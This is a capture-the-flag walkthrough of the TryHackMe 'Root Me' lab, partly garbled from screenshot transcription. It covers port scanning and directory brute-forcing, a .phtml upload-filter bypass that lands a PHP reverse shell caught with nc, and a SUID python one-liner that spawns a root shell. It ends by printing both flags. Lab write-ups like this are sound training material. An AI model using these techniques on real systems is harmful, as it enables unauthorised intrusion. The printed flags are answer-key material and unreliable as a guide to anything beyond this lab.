Root Me

Scaning

```
(moghees⊗kali)-[~/Desktop/CTF/TryHackMe/root_me]
$ nmap 10.10.115.191 -oN nmap.scan
Starting Nmap 7.94SVN (https://nmap.org) at 2024-01-12 14:40 PKT
Nmap scan report for 10.10.115.191
Host is up (0.23s latency).
All 1000 scanned ports on 10.10.115.191 are in ignored states.
Not shown: 1000 closed tcp ports (conn-refused)
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```
-(moghees&kali)-[~/Desktop/CTF/TryHackMe/root_me]
 $ nmap 10.10.115.191 --top-ports 20 -oN nmap.scan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-12 14:43 PKT
Nmap scan report for 10.10.115.191
Host is up (0.24s latency).
PORT
             STATE SERVICE
21/tcp closed ftp
22/tcp open ssh
23/tcp closed telnet
25/tcp closed smtp
53/tcp closed domain
80/tcp closed domain
80/tcp open http
110/tcp closed pop3
111/tcp closed rpcbind
135/tcp closed msrpc
139/tcp closed netbios-ssn
143/tcp closed imap
443/tcp closed https
445/tcp closed microsoft-ds
993/tcp closed imaps
995/tcp closed pop3s
1723/tcp closed potp
1723/tcp closed pptp
3306/tcp closed mysql
3389/tcp closed ms-wbt-server
5900/tcp closed vnc
8080/tcp closed http-proxy
Nmap done: 1 IP address (1 host up) scanned in 0.79 seconds
```

```
(moghees⊗kali)-[~/Desktop/CTF/TryHackMe/root_me]
 -$ nmap 10.10.115.191 -sC -sV -p 22,80 -oN nmap.scan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-12 14:44 PKT
Nmap scan report for 10.10.115.191
Host is up (0.21s latency).
PORT
       STATE SERVICE VERSION
                     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
22/tcp open ssh
ssh-hostkey:
    2048 4a:b9:16:08:84:c2:54:48:ba:5c:fd:3f:22:5f:22:14 (RSA)
    256 a9:a6:86:e8:ec:96:c3:f0:03:cd:16:d5:49:73:d0:82 (ECDSA)
    256 22:f6:b5:a6:54:d9:78:7c:26:03:5a:95:f3:f9:df:cd (ED25519)
                    Apache httpd 2.4.29 ((Ubuntu))
80/tcp open http
 http-cookie-flags:
    /:
      PHPSESSID:
       httponly flag not set
 _http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: HackIT - Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.13 seconds
```

Enumeration

Website Enumeration:

- Nothing special in home page source code.

```
(moghees kali) - [~/Desktop/CTF/TryHackMe/root_me]
 -$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/PHP.fuzz.txt -u http://10.10.115.191
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:
                             http://10.10.115.191
[+] Method:
                             GET
+] Threads:
                              /usr/share/seclists/Discovery/Web-Content/PHP.fuzz.txt
 +] Wordlist:
+] Negative Status codes:
                             404
                             gobuster/3.6
 +] User Agent:
[+] Timeout:
                              10s
Starting gobuster in directory enumeration mode
Progress: 104 / 105 (99.05%)
Finished
```

```
(moghees kali) - [~/Desktop/CTF/TryHackMe/root_me]
—$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/apache.txt -u http://10.10.115.191
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:
                             http://10.10.115.191
[+] Method:
[+] Threads:
                              10
                              /usr/share/seclists/Discovery/Web-Content/apache.txt
[+] Wordlist:
[+] Negative Status codes:
                             gobuster/3.6
[+] User Agent:
[+] Timeout:
                              10s
Starting gobuster in directory enumeration mode
/.htpasswd
                       (Status: 403) [Size: 278]
                       (Status: 403) [Size: 278]
/.htaccess
                      (Status: 403) [Size: 278]
/server-status
Progress: 33 / 34 (97.06%)
Finished
```

```
(moghees kali) - [~/Desktop/CTF/TryHackMe/root_me]
  $ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/Apache.fuzz.txt -u http://10.10.115.191
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
                               http://10.10.115.191
   Url:
   Method:
                               GET
[+] Threads:
                               10
   Wordlist:
                               /usr/share/seclists/Discovery/Web-Content/Apache.fuzz.txt
   Negative Status codes:
   User Agent:
                               gobuster/3.6
[+] Timeout:
                               10s
Starting gobuster in directory enumeration mode
/.htpasswd
                       (Status: 403) [Size: 278]
                       (Status: 403) [Size: 278]
(Status: 403) [Size: 278]
/.htaccess
/.htaccess.bak
                       (Status: 403) [Size: 278]
/server-status
Progress: 8531 / 8532 (99.99%)
Finished
```

```
(moghees⊛kali)-[~/Desktop/CTF/TryHackMe/root_me]
  $ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.115.191
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
                                 http://10.10.115.191
    Url:
    Method:
                                 GET
    Threads:
                                 10
    Wordlist:
                                 /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
    Negative Status codes:
                                 404
                                 gobuster/3.6
    User Agent:
[+] Timeout:
                                 10s
Starting gobuster in directory enumeration mode
                                                       [→ http://10.10.115.191/uploads/]
/uploads
                         (Status: 301)
                                         [Size: 316]
                                                       [→ http://10.10.115.191/css/]
[→ http://10.10.115.191/js/]
                                         [Size: 312]
                         (Status: 301)
/css
                                         [Size: 311] [→ http://10.10.115.191/js/]
[Size: 314] [→ http://10.10.115.191/panel/]
                         (Status: 301)
/js
                         (Status: 301)
/panel
Progress: 18136 / 220561 (8.22%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 18136 / 220561 (8.22%)
Finished
```

- Got /panel from here.
- This enables user to upload a file. I tried .php but it was rejected.
- Then i tried **phtml** and it was uploaded successfully.

Foothold

- I observed that the uploaded files are saved in **/uploads** and the files can be executed.
- So, I used **php reverse shell** code in a **.phtml** file and uploaded it.
- Then opened the file from uploads and it executed and I got reverse shell.

Select a file to upload:

Choose file exploit.phtml

Upload

Index of /uploads

Last modified Size Description Name



Parent Directory



<u>exploit.phtml</u> 2024-01-12 10:03 5.4K



test.phtml 2024-01-12 09:55 0

Apache/2.4.29 (Ubuntu) Server at 10.10.115.191 Port 80

```
(moghees@kali)-[~/Desktop/CTF/TryHackMe/root_me]
 -$ nc -nvlp 69
listening on [any] 69 ..
connect to [10.8.153.207] from (UNKNOWN) [10.10.115.191] 52652
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
10:03:37 up 24 min, 0 users, load average: 0.00, 0.06, 0.35
                 FROM
                                  LOGINO IDLE JCPU
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
```

Privilege Escalation

```
www-data@rootme:/home/rootme$ find / -type f -perm -4000 2>/dev/null
find / -type f -perm -4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/traceroute6.iputils
/usr/bin/newuidmap
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/python
/usr/bin/at
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/pkexec
```

python and pkexec seems unusual.

Tried **pkexec** but it was asking for password. So, I tried **python** and got **root**.

```
www-data@rootme:/home/rootme$ python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
p")'on -c 'import os; os.execl("/bin/sh", "sh", "-p
# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
#
```

Flag

```
# cd root
cd root
# ls
ls
root.txt
# cat root.txt
cat root.txt
THM{pr1v1l3g3_3sc4l4t10n}
# find -type f -name "user.txt" 2>/dev/null
find -type f -name "user.txt" 2>/dev/null
# find / -type f -name "user.txt" 2>/dev/null
find / -type f -name "user.txt" 2>/dev/null
/var/www/user.txt
# cd /var/www/user.txt
cd /var/www/user.txt
sh: 14: cd: can't cd to /var/www/user.txt
# cat /var/www/user.txt
cat /var/www/user.txt
THM{y0u_g0t_a_sh3ll}
```